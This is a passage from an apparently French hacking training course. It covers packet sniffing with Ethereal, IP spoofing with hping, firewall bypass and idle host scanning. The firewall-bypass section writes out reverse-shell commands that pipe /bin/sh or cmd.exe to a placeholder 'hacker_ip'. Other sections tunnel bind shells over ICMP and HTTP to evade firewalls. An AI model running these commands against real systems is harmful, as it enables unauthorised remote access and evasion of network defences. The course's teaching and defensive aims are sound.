The reference for sniffers remains Ethereal, on both Windows and Linux, which includes a very<br />
performing analysis system <strong>of</strong> transiting packets. You will find this tool at: http://www.ethereal.com.<br />
You will also have to install WinPCAP library which can enable you to use sniffing on Windows. You<br />
will find this at http://winpcap.polito.it.<br />
Practical Approach: using a sniffer<br />
We will start by doing brute sniffing sessions before we look at the powerful capture options.<br />
1. Click on Capture<br />
2. Click on Start.<br />
The <strong>Hack</strong>ademy DMP -63/209- SYSDREAM
A parametrization window <strong>of</strong> the capture session opens. Among the various functions at hand, please<br />
note that you can specify in “Interface” the peripheral to initialize. If you have several network cards,<br />
you can sniff the traffic on the card <strong>of</strong> your choice.<br />
Among other options that are interesting to modify, we should note the “Display Options” and “Capture<br />
Limits”. To follow in real time the sniffing <strong>of</strong> packets, activate the options "Update list <strong>of</strong> packets in real<br />
time" and "Automatic scrolling in live capture".<br />
For your first try, activate the following options :<br />
• Capture packet in promiscuous mode.<br />
• Update list <strong>of</strong> packets in real time.<br />
• The 3 options <strong>of</strong> "Name resolution".<br />
NB: By default, a card will only recover packets addressed to it, the others being destroyed. To read<br />
packets destined to other computers, the hacker will have to put the card into a special mode called<br />
the “promiscuous mode”. The card will from then on pick up all packets. It is however important to note<br />
that since this card must be handled at a very low level for this change <strong>of</strong> functioning mode,<br />
administrator privileges are necessary.<br />
The <strong>Hack</strong>ademy DMP -64/209- SYSDREAM
Using the "Follow TCP Stream" option<br />
The capture status window indicates how many<br />
packets have already been sniffed, as well as the<br />
majority <strong>of</strong> common protocols to which these<br />
packets are related. It is also this window that<br />
ends the capture session.<br />
The "Follow TCP Stream" option can isolate a “conversation” or an exchange <strong>of</strong> data between two<br />
specific machines. So if in the results <strong>of</strong> your capture session you wish to zoom quickly on one<br />
communication, then do as follows:<br />
1. Select the packet emitted from one machine to another. For example, click on the line<br />
corresponding to a packet emitted from machine A to B.<br />
2. Right-click<br />
3. Click on "Follow TCP Stream"<br />
4. A new window opens and all it contains is the data processing exchange that has taken place<br />
between the two machines. A colour code is established to distinguish data belonging to<br />
different machines.<br />
5. At the bottom <strong>of</strong> the s<strong>of</strong>tware's main window, in the “Filter” zone, is displayed the filtering<br />
information that allows for an efficient selection <strong>of</strong> screen display to highlight the exchange that<br />
is <strong>of</strong> interest to us. A good mastery <strong>of</strong> this s<strong>of</strong>tware is essential to perfectly understand the<br />
meaning <strong>of</strong> this filtering. In the present case, this is not necessary.<br />
Using the filters<br />
As seen previously, filters will allow you to discriminate among information that has been captured or<br />
that is being captured. You can create filtering options with the s<strong>of</strong>tware's designated interface:<br />
1. In the s<strong>of</strong>tware, click on the "Edit" tab,<br />
2. The, click on "Display Filters",<br />
3. A window then opens which will allow you to create filters.<br />
We will see, with several specific examples, how to efficiently manage your filters.<br />
The <strong>Hack</strong>ademy DMP -65/209- SYSDREAM
Example 1 : Filtering only HTTP packets.<br />
1. In the "Ethereal : Edit Display Filter List" window, click on "Add Expression",<br />
2. A window then opens which lists all protocols recognized by the s<strong>of</strong>tware,<br />
3. Go to HTTP,<br />
5. Click on HTTP. It is not necessary to go to the “Relation” column. We will see in a later<br />
example how this column will be <strong>of</strong> use to us.<br />
6. Click on "Accept",<br />
7. You return to the Filter Management window. In “Filter String”, “http” should be displayed.<br />
8. Give a name (“Filter Name”) to this filter. You can give “http” as a name if you want it to be<br />
evocative.<br />
9. Click on "New",<br />
10.A new filter has tied itself to your list <strong>of</strong> filters, the one you have just created.<br />
11.Click on "Save" then on "Close".<br />
The <strong>Hack</strong>ademy DMP -66/209- SYSDREAM
You have just created a new filter. In your future snapshots, you will be able to apply it in the following<br />
manner:<br />
1. Start a new snapshot,<br />
2. Click on the Filter button at he bottom <strong>of</strong> the s<strong>of</strong>tware,<br />
3. Select the appropriate filter,<br />
4. Click on "Apply".<br />
However, do make sure that the filters are only used to discriminate information that is displayed for a<br />
better visibility. In a snapshot, Ethereal will still pick up all packets. This is in no way an inconvenient,<br />
for it will enable you to return to a complete display <strong>of</strong> information. Let us now study a second example<br />
<strong>of</strong> filter creation, a slightly more complex one.<br />
Example 2 : filtering by IP addresses.<br />
What we would like to do this time round is to visualize only the network packets specific to one IP<br />
address. We will suppose that you wish to filter only the network packets emitted towards IP address<br />
125.125.125.125.<br />
1. In the "Ethereal: Edit Display Filter List" window, click on "Add Expression",<br />
2. A window then opens and it lists all protocols recognized by the s<strong>of</strong>tware,<br />
3. Click on "IP" in the list, then in the "Relation" column, click on the equal double sign,<br />
4. Enter IP address 125.125.125.125 in the appropriate "Value (protocol)" slot,<br />
5. Click on "Accept",<br />
6. Give a name to the filter, and click on "New",<br />
7. Then click on "Save" and "Close",<br />
8. Start a new snapshot,<br />
9. Click on the Filter button at the bottom <strong>of</strong> the s<strong>of</strong>tware,<br />
10.Select the appropriate filter,<br />
11.Click on "Apply",<br />
12.Open telnet.exe in the following manner: go to “Start", then "Execute" et type telnet<br />
125.125.125.125 ,<br />
13.Validate with "OK",<br />
14.On the main Ethereal window is displayed only the information relative to your connection<br />
attempt towards 125.125.125.125 (and no other information).<br />
The <strong>Hack</strong>ademy DMP -67/209- SYSDREAM
<strong>Security</strong><br />
Sniffing is actually just a legitimate way <strong>of</strong> listening to transiting traffic, so it is difficult to establish<br />
security solutions that are really efficient. It is therefore strongly recommended to always use<br />
encrypted information to ensure transiting data remains confidential.<br />
2.Network Spo<strong>of</strong>ing<br />
A) Presentation<br />
IP spo<strong>of</strong>ing is not actually an attack itself, but can be used in many other intrusion or information<br />
gathering techniques (see Idle host scanning).<br />
Spo<strong>of</strong>ing is a technique that can use the existing “network confidence relations” between various<br />
machines.<br />
We will take advantage <strong>of</strong> the fact that IP :<br />
• is one <strong>of</strong> the most solicited protocols.<br />
• is an uncertain network protocol, it is not connected and does not handle packets that have<br />
already been transmitted, nor does it handle those that are going to come.<br />
• it does not in any way handle packet security or confidentiality, this role is left to the upper layers<br />
IP is <strong>of</strong>ten coupled to the TCP protocol, and this gives it the reliability that it otherwise lacks. TCP is a<br />
“connected” protocol and before being able to exchange information, the machines concerned will<br />
have to establish a connection (3-way handshake).<br />
This reliability is ensured in two ways:<br />
– Sequencing.<br />
– Acknowledging.<br />
B) Establishing a TCP connection<br />
As mentioned previously, in order to exchange information, two machines must first establish a<br />
connection (TCP in this case).<br />
To illustrate this technical aspect, we are going to use Ethereal, which will enable us to sniff packets<br />
transiting through a network interface.<br />
In the present case, let us consider a “telnet” connection between two machines.<br />
Machine A does a telnet on machine B on port 6666...<br />
The <strong>Hack</strong>ademy DMP -68/209- SYSDREAM
This handshake takes place as follows:<br />
First step<br />
The machine sends a packet to request the establishment <strong>of</strong> a connection to machine B.<br />
Illustration 1: SYN<br />
Each packet (or datagram) has what is called a header with a length <strong>of</strong> 32 bits. It contains various<br />
informations, and these are the ones <strong>of</strong> interest to us:<br />
• A “flag” system that can determine to what the packet corresponds. In our case the packet<br />
contains an initialized SYN “flag” (fixed at 1).<br />
• A sequence number (SEQ) created randomly by the kernel.<br />
The <strong>Hack</strong>ademy DMP -69/209- SYSDREAM
Second step<br />
Illustration 2: SYN/ACK<br />
To this request from machine A, B will answer with a SYN/ACK, meaning that this time round the<br />
packet sent by B to A will have two bits initialized at 1: the SYN bits and the ACK bits.<br />
It is then machine B's turn to send a sequence number (SEQ), also created randomly, and also an<br />
ACK number which is the sequence number sent by machine A + 1.<br />
The <strong>Hack</strong>ademy DMP -70/209- SYSDREAM
Third step<br />
Illustration 3: ACK<br />
To conclude this connection, machine A, in response to the SYN/ACK sent by B, sends an ACK back<br />
to it (only the ACK bit is initialized). The packet still contains an ISN and an ACK; the value <strong>of</strong> the ISN<br />
is the ACK number <strong>of</strong> the previous packet sent by B, and for ACK it is the sequence number <strong>of</strong> the<br />
previous packet sent by B + 1 (during the connection initialization).<br />
Later on, the ACK sent by a local machine to a remote machine will be made up <strong>of</strong> the sequence<br />
number sent by the remote machine in its last packet, to which will be added the number <strong>of</strong> data bytes<br />
received during this transmission.<br />
The <strong>Hack</strong>ademy DMP -71/209- SYSDREAM
C) The attack<br />
Description<br />
We will try to establish a spo<strong>of</strong>ed connection on a network machine by usurping existing IP confidence<br />
relations:<br />
• First, a machine must be found that the target machine trusts.<br />
• Then, the authentication <strong>of</strong> the machine is done from its address.<br />
• Once this information is obtained, the authenticated machine must be made “mute” (to prevent it<br />
from answering the target machine)<br />
• Then the sequence number, which is expected by the target machine, has to be determined.<br />
Once that is done, we can start sending packets with the IP address <strong>of</strong> the machine that we have<br />
“withdrawn” from the discussion.<br />
The main problem with spo<strong>of</strong>ing is that it is a so-called “blind” attack. It is not the machine itself that is<br />
authenticated but the packets that the victim machine receives. This means that the packets emitted<br />
by the target machine are not recovered by the attacker but are quite simply lost (as the destination<br />
machine is “not able to answer”).<br />
This means that the attacker does not have the information sent back by the target and so does not<br />
have the sequence numbers corresponding to the packets that have been sent back by this same<br />
machine. That is why this is called a “blind” attack, which is also why it is in fact impossible to carry<br />
out.<br />
Why is that?<br />
To pass as the authorised machine for the target machine, packets have to be “forged” (using<br />
Excalibur Packet, for example); and these packets must <strong>of</strong> course present, instead <strong>of</strong> the attacking<br />
machine's IP address, the address <strong>of</strong> the authorised machine now made “mute”. But the packets must<br />
also present sequence numbers corresponding to the exchange that the target machine believes to be<br />
having with a trusted machine.<br />
As the packets emitted by the target machine are not recovered by the attacker, the latter has no way<br />
<strong>of</strong> determining the sequence number sent by the target machine and therefore the sequence number<br />
that this machine will expect in response to the last packet it has sent.<br />
This would be possible if packets were generated in a foreseeable manner, however that is not the<br />
case, at least concerning systems such as BSD, SUN, Linux, or more generally UNIX.<br />
These various OS have a sequence number generation system that make these numbers totally<br />
unforeseeable (because they are far too random).<br />
In the case <strong>of</strong> Micros<strong>of</strong>t, the latest studies <strong>of</strong> the problem pointed to the fact that the sequence<br />
numbers generated by Windows are linear and thus easily predictable, and so making the machines<br />
using them particularly vulnerable to this type <strong>of</strong> attack.<br />
Example<br />
As seen previously, blind spo<strong>of</strong>ing is <strong>of</strong> no interest because it is almost impossible to carry out. The<br />
only solution is therefore to use Non Blind Spo<strong>of</strong>ing (NBS).<br />
To do this, the attacker first has to recover a router or a local network machine using HUBs (switches<br />
only give information to the machines concerned and so we would find ourselves in a blind spo<strong>of</strong>ing<br />
situation again).<br />
The <strong>Hack</strong>ademy DMP -72/209- SYSDREAM
The methodology <strong>of</strong> this type <strong>of</strong> attack remains standard:<br />
• Sniff the packets transiting between two machines with the help <strong>of</strong> Ethereal. That way, we will be<br />
able to obtain the sequence numbers sent by the target machine to the machine whose identity<br />
we are going to usurp.<br />
• “Forge” packets with the same header as packets sent by the spo<strong>of</strong>ed machine (that is with the<br />
spo<strong>of</strong>ed machine's IP and with a sequence number corresponding to the sequence number that<br />
the target machine expects to receive).<br />
• Establish a connection.<br />
In our case, we are going to operate differently and use an arp poisoning...<br />
Let us take a machine A, a machine B and a machine C.<br />
We know that a “confidence relation” exists between machine B and machine C; however machine B<br />
systematically “drops” all packets coming from machines other than machine C.<br />
Our machine A will first carry out an “arp poisoning” on machine B, with the aim <strong>of</strong> corrupting its arp<br />
cache. To do this, we are going to send packets <strong>of</strong> the “arp reply” type to machine B with the “arp<br />
poison” program. This way, the MAC address <strong>of</strong> our machine C will have the same MAC address as<br />
machine A, and so when a packet leaves machine B for machine C, it is actually sent to machine A<br />
(our attacking machine).<br />
So we are no longer in a case <strong>of</strong> blind spo<strong>of</strong>ing, since we are going to be able to recover (still using<br />
Ethereal) the packets that machine B believes is is sending to machine C.<br />
With the help <strong>of</strong> the hping program, which can be downloaded frm http://www.hping.org, we are going<br />
to simulate a TCP-type connection on port 2222 <strong>of</strong> machine B.<br />
We can automate this approach with the following shell script:<br />
The <strong>Hack</strong>ademy DMP -73/209- SYSDREAM
#!/bin/sh<br />
/usr/sbin/hping -a 192.168.0.2 -p 2222 -s 2110 -S -M 33 -c 1 192.168.0.66<br />
read u<br />
/usr/sbin/hping -a 192.168.0.2 -p 2222 -A -s 2110 -L $u -M 34 -c 1 192.168.0.66<br />
/usr/sbin/hping -a 192.168.0.2 -p 2222 -A -s 2110 -L $u -P -M 34 -c 1 -d 6 -E data 192.168.0.66<br />
To make things clearer, we are going to describe the options used for this script:<br />
-a : Address <strong>of</strong> the spo<strong>of</strong>ed machine.<br />
-p : Destination port <strong>of</strong> the packet.<br />
-s : Port used by the emitting machine.<br />
-S : SYN flag is initialized.<br />
-M : The sequence number sent by the emitting machine is determined.<br />
-c : Number <strong>of</strong> packets sent.<br />
-A : ACK flag initialized.<br />
-L : ACK number determined.<br />
-P : PSH flag initialized.<br />
-d : Can stipulate the size <strong>of</strong> data sent.<br />
-E : Can “take” data from a file.<br />
1. As seen previously, machine A is going to send a SYN packet to machine B, using <strong>of</strong> course the<br />
address <strong>of</strong> (spo<strong>of</strong>ed) machine C to prevent our packet being “dropped” by machine B (and so not<br />
processed).<br />
2. With the help <strong>of</strong> Ethereal we are going to recover the SYN/ACK packet that machine B is going to<br />
send on to machine C.<br />
3. As ACK, we send back the sequence number sent by machine B incremented by 1.<br />
Machine B: SEQ=1442628982 ------> Machine A Answer: ACK=1442628983<br />
Let us have a look at Ethereal ... (figure 4)<br />
We can note that we have the same combination SYN,SYN/ACK,ACK, typical <strong>of</strong> an authorized<br />
connection.<br />
Bingo! The connection is now initialized.<br />
The <strong>Hack</strong>ademy DMP -74/209- SYSDREAM
The case <strong>of</strong> the UDP protocol<br />
Unlike TCP, UDP is a non-connected protocol, which makes it extremely easy to study (as well as to<br />
falsify).<br />
This protocol does not provide any error control as it does not check packets that have already been<br />
transmitted and those that are yet to come.<br />
So the header <strong>of</strong> a UDP segment is a very simple one:<br />
It is made up <strong>of</strong> four informations, as well as the data segment, <strong>of</strong> course:<br />
•<br />
•<br />
•<br />
Figure 4: Simulation <strong>of</strong> a connection<br />
Source Port: This is the port number corresponding to the emitting application <strong>of</strong> the UDP<br />
segment. This field constitutes an answering address for the destination. This field is optional, so<br />
it means that if the source port is not specified, the 16 bits <strong>of</strong> this field will be put to zero, in which<br />
case the destination ill not be able to answer (this does not have to be the case, especially for<br />
one-way messages).<br />
Destination Port: This field contains the port corresponding to the application <strong>of</strong> the destination<br />
machine we are addressing.<br />
Length: This field specifies the total length <strong>of</strong> the segment, header included, and as the header<br />
has a length <strong>of</strong> 4 x 16 bits (or 8 x 8 bits), the length field has to be equal to or above 8 bytes.<br />
The <strong>Hack</strong>ademy DMP -75/209- SYSDREAM
•<br />
Control sum: This is a control sum done in such a way that it can control the integrity <strong>of</strong> the<br />
segment.<br />
As UDP does not function at all like TCP, especially as far as sequence numbers are concerned, it is<br />
much easier to spo<strong>of</strong> since we do not have to determine the valid sequence number to forge our<br />
spo<strong>of</strong>ed packets.<br />
The operation remains the same: we forge packets with an usurped address, which allows us to<br />
establish a connection with our target machine without having to determine “Acknowledge” sequence<br />
numbers.<br />
<strong>Security</strong><br />
Confidence relations based on IP addresses can therefore not be considered as weak, although<br />
exploitation techniques are difficult to apply. So you should prefer trust relations based on<br />
authentication systems with key, such as those presented at the end <strong>of</strong> this training course, in<br />
the VPN section.<br />
3.Firewall Bypassing<br />
A) Reverse connection<br />
The aim <strong>of</strong> firewalls is to filter incoming or outgoing traffic to prevent an intruder from entering an<br />
internal system. Quite <strong>of</strong>ten, however, the existing rules are insufficient, and the firewall can be as<br />
useful as if it did not exist. The first source <strong>of</strong> error is <strong>of</strong>ten not to limit the outgoing traffic, the idea<br />
being to allow users to make use <strong>of</strong> certain public services, especially http, smtp or pop3. Client<br />
stations within the company thus have access to various network services on the Internet.<br />
So the principle <strong>of</strong> these attacks will not be to ask the target machine to bind a shell on an arbitrary<br />
port, but rather to ask it to connect on output on ports authorized by the firewall destined to the hacker<br />
machine (or a machine controlled by the hacker), and to send back a command interpreter in this twoway<br />
communication canal. This technique can actually be used because a canal can have data<br />
circulating both ways and be attached to any executable (such as a shell), whether it be at the client or<br />
at the server level.<br />
We will start by studying two techniques that can be used on Linux:<br />
➢ The inverted telnet: The idea here is to create an inverted connection, meaning that it is the server<br />
that connects to the hacker's system. To do this, two distinct canals must be created: The hacker<br />
places two ports to listen on his system (using netcat for example), then he asks his target to<br />
connect to each <strong>of</strong> his ports. The hacker can then write in the first listening netcat spy, and this data<br />
will be intercepted by the remote system , interpreted by a shell, then sent back in the other canal<br />
created at the second telnet session connected to the hacker's second netcat spy.<br />
On his machine, the pirate creates two spies on ports 887 and 888 (with the help <strong>of</strong> netcat). The<br />
remote system connects to the two netcat spies by piping the received data through the first canal<br />
to the shell then by piping these results again to the second canal, with the command:<br />
telnet hacker_ip 887 | /bin/sh | telnet hacker_ip 888<br />
The <strong>Hack</strong>ademy DMP -76/209- SYSDREAM
nc -l -v -n -p 887<br />
Injection <strong>of</strong> commands in this canal<br />
nc -l -v -n -p 888<br />
Reading <strong>of</strong> the results sent back by the remote<br />
system<br />
If a remote host executes an X server, it is then possible to ask it to send back an xterm on our<br />
system: this is an x console which will display the hacker's X server. First <strong>of</strong> all, the remote host has<br />
to be authorised to connect to the X server, with the command: xhost +ip_de_l_distant_host<br />
Then the server has to be asked to send back this xterm on the hacker's system. The command to<br />
be executed has the following form: xterm -display pirate_ip:0.0<br />
An Xterm console belonging to the target server is then sent back providing an interactive access to<br />
the hacker.<br />
In a much more generic way, on Windows and Linux, it is possible to use the netcat tool to carry out<br />
this type <strong>of</strong> operation, if it is present on the target system (or if it is possible to upload it). This tool<br />
can be given the -e option, which can associate the canal to the binary specified with this option<br />
(cmd.exe on Windows, /bin/sh on Linux).<br />
On the hacker's side, a port is binded, to which the target will connect, with the command:<br />
nc -l -v -n -p port<br />
The target is asked to connect to the hacker and to send back a shell with the command:<br />
nc hacker_ip port -e cmd.exe<br />
B) Covert channel<br />
Presentation<br />
A covert channel is actually a method which consists in generating a data flow through another one in<br />
order to make it more difficult to detect, with the aim <strong>of</strong> breaching firewalls. We are going to see<br />
several examples <strong>of</strong> use: the use <strong>of</strong> http as well as icmp protocols. We are going to make a data flow<br />
go through another one.<br />
The <strong>Hack</strong>ademy DMP -77/209- SYSDREAM
Situation scenario: Using icmp<br />
Let us consider machine A (ip : 192.168.0.2) and machine B (ip : 192.168.0.66). Let us start with a<br />
situation where we do not use any covert channel and let's see what Ethereal has to say about that.<br />
Machine B<br />
bash$ nc -l -p 6666 -e /bin/bash<br />
Machine A<br />
bash$ nc 192.168.0.66 6666<br />
cat /etc/issue<br />
Debian GNU/Linux 3.1 \n \l<br />
We can clearly identify a tcp session corresponding to a shell. The information passes clearly on the<br />
network. Our communication will be directly identified by an administrator with a minimum <strong>of</strong><br />
pr<strong>of</strong>essional conscience.<br />
Let's now make a small change. On machine B, we will do this:<br />
Machine B<br />
bash# iptables -A INPUT –proto tcp –source ! localhost -j DROP<br />
The machine will thus not be able to receive tcp data from a non-local source.<br />
The <strong>Hack</strong>ademy DMP -78/209- SYSDREAM
Let's try to connect again from machine A.<br />
Machine A<br />
bash$ telnet 192.168.0.66 6666<br />
Trying 192.168.0.66...<br />
telnet: connect to address 192.168.0.66: connection timed out<br />
bash$<br />
The communication is not accepted, the packets are dropped.<br />
We are going to try to bypass the problem by using an icmp tunnel to send our data. We will use<br />
icmptunnel (available at: http://packetstormsecurity.org/crypt/vpn/icmptunnel013.tar.gz). An icmp<br />
tunnel between our two machine will be created. This diagram shows what is going to happen:<br />
Installation <strong>of</strong> icmptunnel on the two machines (A and B):<br />
bash$ wget http://packetstormsecurity.org/crypt/vpn/icmptunnel013.tar.gz<br />
bash$ tar xvfz icmptunnel013.tar.gz<br />
bash$ cd icmptunnel<br />
bash$ make -f Makefile.tomas<br />
We obtain an executable named “t”. This executable uses raw sockets, and will have to be started<br />
using root rights.<br />
On machine B, we are going to start an icmp tunnel (attached to a local port) towards machine A, and<br />
we are going to associate a shell to the local port. To do this, we will proceed as follows:<br />
Machine B<br />
bash# ./t -S ICMP_ECHOREPLY -R ICMP_ECHO -L 7777 -i 15 -I 8 192.168.0.2<br />
Information is displayed to sum up the chosen options (icmp is by default very “talkative”, which allows<br />
us to analyse everything that is happening. It is possible to make it “less talkative” by withdrawing the<br />
-DDEBUG option from the makefile).<br />
The <strong>Hack</strong>ademy DMP -79/209- SYSDREAM
-S: can specify the type <strong>of</strong> icmp packet when we send data through our canal. We<br />
choose packets <strong>of</strong> the echoreply type.<br />
-R: can specify the type <strong>of</strong> icmp packet that we should receive through our pipe.<br />
We choose echo type packets corresponding to packets <strong>of</strong> the echorequest<br />
type.<br />
-L: This the local port to be used.<br />
- i: This an identifier related to the tunnel. It is the tunnel identifier used by the<br />
target machine.<br />
-l: This is the tunnel identifier used by our machine. For our two machines to be<br />
able to communicate through our tunnel, they must each have a tunnel<br />
identifier and it must be specified in both cases.<br />
192.168.0.2 This is the target machine.<br />
We will now attach a shell to our local port, as follows:<br />
bash$ nc localhost 7777 -e /bin/bash<br />
Now we will start our tunnel on machine A.<br />
Machine A<br />
bash# ./t -S ICMP_ECHO -R ICMP_ECHOREPLY -L 9999 -i 15 -I 8 192.168.0.66<br />
And now we can connect on our local port via netcat :<br />
bash$ nc localhost 9999<br />
cat /etc/issue;<br />
Debian GNU/Linux 3.1 \n \l<br />
We were able to establish a connection to the shell started on the remote machine, in spite <strong>of</strong> the<br />
firewall. Let us take a look now at what Ethereal is seeing:<br />
The <strong>Hack</strong>ademy DMP -80/209- SYSDREAM
We can see that Ethereal has seen icmp type traffic go through. We can also see that the data has<br />
passed clearly. Icmptunnel is not very functional in the sense that data is not coded.<br />
Another example: using HTTP<br />
Following the same principle, we are this time round going to use the HTTP protocol (used by web<br />
servers). We will this time use the httptunnel program (available at:<br />
http://www.nocrew.org/s<strong>of</strong>tware/httptunnel/httptunnel-3.0.5.tar.gz).<br />
Installation on both machines :<br />
bash$ wget http://www.nocrew.org/s<strong>of</strong>tware/httptunnel/httptunnel-<br />
3.0.5.tar.gz<br />
bash$ tar xfvz httptunnel-3.0.5.tar.gz<br />
bash$ cd httptunnel-3.0.5<br />
bash$ ./configure && make && make install<br />
We then obtain two executables: hts and htc (respectively for http server and http client). One <strong>of</strong> these<br />
executables will thus be used as a server and the other as a client. We are going to bind a shell on<br />
machine B then attach to it our http tunnel, as follows:<br />
The <strong>Hack</strong>ademy DMP -81/209- SYSDREAM
Machine B<br />
bash$ nc -l -p 9999 -e /bin/bash<br />
bash$ su<br />
bash# ./hts -F localhost:9999 80<br />
The -F option can specify the source and the destination <strong>of</strong> data received by the http tunnel. In this<br />
case, we have attached a shell to local port 9999, and the port relevant to our tunnel will be port 80<br />
(port by default for all web servers).<br />
Now we are going to connect machine A.<br />
Machine A<br />
bash$ ./htc -F 2222 192.168.0.66:80<br />
bash$ nc localhost 2222<br />
cat /etc/issue;<br />
Debian GNU/Linux 3.1 \n \l<br />
Let us take a look at what Ethereal is seeing:<br />
Ethereal sees http traffic transferring. Data is hidden in http packets, this way passing through in a<br />
much less noticed way.<br />
The <strong>Hack</strong>ademy DMP -82/209- SYSDREAM
Conclusion<br />
The covert channel principle can apply to virtually all protocols (http, icmp, dns, ...) The thing to know<br />
is where and how to hide data within the protocol used.<br />
<strong>Security</strong><br />
The best way to fight against firewall bypassing is to forbid direct access <strong>of</strong> internal stations to the<br />
Internet. You should implement total restriction and integrate an internal proxy server which will be<br />
the only one authorized to communicate with the outside world. If internal stations wish an outside<br />
connection, they will always have to go through this mandatory server.<br />
You can integrate the same security policy for servers accessible from the Internet by<br />
implementing reverse proxies, through which clients will always have to go.<br />
4.Idle Host scanning<br />
In the previous section, we discovered what IP spo<strong>of</strong>ing was. We will now see how a hacker can use<br />
this technique to scan a server without leaving his IP address in the logs. The aim <strong>of</strong> this is to prove<br />
that IPs in your log files can be faked, and to encourage you when possible to establish filtering rules<br />
so that no “idle host” can have access to the server, which will prevent the usage <strong>of</strong> this scan<br />
technique. Let us take a closer look at this...<br />
Idle host scanning is a technique found by the creator <strong>of</strong> Hping, which enables the scanning <strong>of</strong> a<br />
server's ports without leaving an IP in the logs, and by using IP spo<strong>of</strong>ing. But to do this, we need a<br />
machine that is not very active, as this will help us determine the server's open ports.<br />
Practical simulation <strong>of</strong> such an attack:<br />
We are going to use three machines:<br />
– An attacking machine on Linux or Unix equivalent which we will call A<br />
– A target server called S<br />
– A not very active machine called C<br />
Machine A must be on Linux or equivalent and with Hping installed (it can be downloaded from<br />
http://www.hping.org). First <strong>of</strong> all, what is going to be <strong>of</strong> interest to us will be to control the<br />
incrementation <strong>of</strong> the IP protocol's identification (id) number <strong>of</strong> the packets emitted by C. To do this,<br />
two conditions must be reunited: we must force machine C to send us tcp/ip packets (whatever they<br />
may be) in a continuous manner, and C must have no active connection for the whole duration <strong>of</strong> the<br />
operations (except, it goes without saying, with A). We can immediately see the advantage in choosing<br />
a client machine for C. As it is not a server, it is more likely we will be the only ones communicating<br />
with it.<br />
The <strong>Hack</strong>ademy DMP -83/209- SYSDREAM
To dialogue with C and to force it to reveal its id, two solutions can be imagined:<br />
1) We try to initialize a connection on an active port <strong>of</strong> machine C by sending packets with the Syn flag<br />
activated (this is very important, otherwise the machine will not answer). The machine will then<br />
answer by sending packets with activated Syn and Ack flags.<br />
2) We send packets to a closed port (there is no need to activate a flag). The machine will believe it is<br />
an error and will send response packets with Ack and Reset flags activated.<br />
Which is the best method? Both actually work very well, however the first one presents two major<br />
disadvantages: if we want to follow the same logic we have had since the beginning, choosing a<br />
machine C with even only one open port is ridiculous (in this case it is a server and the risks <strong>of</strong><br />
establishing a connection with anyone other than A are high). Also, sending a flood <strong>of</strong> connection<br />
requests to C on a specific port could be unfavorably interpreted by a watchful administrator who<br />
checks his logs (he could believe it is a syn flooding or a syn scanning).<br />
We are therefore going to forge packets according to the second method, and to do this we will use<br />
hping. Hping, just like Nemesis, is a tcp/ip packet forger. Why choose hping? Because hping has an<br />
interesting function that allows it to log on console <strong>of</strong> answers to packets emitted via hping.<br />
All that has to be done is to type in the following command:<br />
hping -r<br />
(for example: hping 192.168.1.1 -r)<br />
Here, -r corresponds to the option showing the id increment as emissions are taking place (this option<br />
will be used only for clarification purposes).<br />
Here is a capture done with Ethereal <strong>of</strong> packets sent and received successively between machines A<br />
and C.<br />
1 st packet: In the capture, machine A has IP 192.168.1.2 and machine C has IP 192.168.1.1.<br />
The <strong>Hack</strong>ademy DMP -84/209- SYSDREAM
It is the IP protocol that is going to be <strong>of</strong> interest to us :). So the first packet is sent from machine A to<br />
machine C. It is a TCP packet sent on port 0 <strong>of</strong> machine C, with all flags at 0, and with a sequence<br />
number and an acknowledgement number. Please note that here the IP identification is equal to<br />
0x934d.<br />
2 nd packet :<br />
Machine C answers with a TCP packet with RST/ACK at 1. (This is normal as port 0 is not open).<br />
Please note that its IP identification number is 0x934d.<br />
The <strong>Hack</strong>ademy DMP -85/209- SYSDREAM
3 rd packet :<br />
Machine A sends back TCP packet on port 0 with all flags at 0.<br />
Please note that the IP identification number has been incremented <strong>of</strong> several bits, from 0x848 to<br />
0x1923.<br />
4 th packet :<br />
The machine answers with a TCP packet identical to the 2 nd packet. Now look at the IP identification<br />
number: it has been incremented <strong>of</strong> +256!<br />
The identification number <strong>of</strong> machine A is always incremented <strong>of</strong> +256. But remember that it is not the<br />
value <strong>of</strong> the increment that is <strong>of</strong> interest to us here but rather the fact that it remains constant. Thanks<br />
to this identification number, we will be able to determine if a port is open on server S.<br />
Now, machine A must send a spo<strong>of</strong>ed packet to server S, to make it believe that machine C wishes to<br />
connect. To establish the scan, the first window is left open and another one is opened in which we will<br />
type:<br />
hping -a -S -p <br />
Example: hping -a 192.168.231.81 -S -p 21 192.168.231.1 where 22 is a port and we are going to try<br />
to determine if it is open or not.<br />
The <strong>Hack</strong>ademy DMP -86/209- SYSDREAM
We will simultaneously launch the packets emissions for a better analysis <strong>of</strong> results.<br />
First terminal; emission <strong>of</strong> spo<strong>of</strong>ed packets to server S.<br />
Here, C asks for connections to S. The ID is incremented <strong>of</strong> +1 at each sending.<br />
Second terminal: emission <strong>of</strong> TCP/IP packets to client C.<br />
Let us have a look at the same time at what is on our second terminal, the only one <strong>of</strong> interest here.<br />
We notice that the packets' ids are all incremented <strong>of</strong> +1, but from the 3 rd onwards, the increment is<br />
doubled (+2). The ID is doubled during the emission <strong>of</strong> 6 packets, and exactly 6 packets had already<br />
been emitted (see bottom <strong>of</strong> the previous capture). What can the conclusion be? As the ID has<br />
doubled, it can only mean one thing: 8 packets have been emitted by C but they were not destined to<br />
A, hence the increment jump from +256 to +512. What were these packets? If you refer to the<br />
previous chapter, these were obviously packets going from C to S with the RST flag active. But why is<br />
that? It is because C has never itself requested a connection. So it informs S with each packet with a<br />
Syn / Ack that it receives that this is an error.<br />
The <strong>Hack</strong>ademy DMP -87/209- SYSDREAM
We know that the server <strong>of</strong> interest to us, port 21, is closed. So we will repeat the same method by<br />
exchanging port 22 for port 21. Let us take a look at the results.<br />
First terminal: emission <strong>of</strong> spo<strong>of</strong>ed packets to server S.<br />
Second terminal : emission <strong>of</strong> TCP/IP packets to client C.<br />
Here, we can see that the ID has not changed. Why? Because a machine never responds to a Reset.<br />
When a port is closed, there is no “leaking” <strong>of</strong> packets, so there are no more modifications <strong>of</strong> the ID.<br />
You probably understand now how vitally important it is that machine C communicate only with A.<br />
Conclusion<br />
In this chapter, we seen the functioning principle <strong>of</strong> this type <strong>of</strong> scan.<br />
Please note that Unix users make use <strong>of</strong> the famous fyodor (nmap) port scanner (downloadable at<br />
http://www.insecure.org). It takes into account this type <strong>of</strong> scan and can be very powerful. You will also<br />
note that even if you are not in S's logs, you are in those <strong>of</strong> C. So a hacker can be found...<br />
The <strong>Hack</strong>ademy DMP -88/209- SYSDREAM
5.Connections Hijacking<br />
We are going to use the properties <strong>of</strong> the data transmission model on a local network in order to hijack<br />
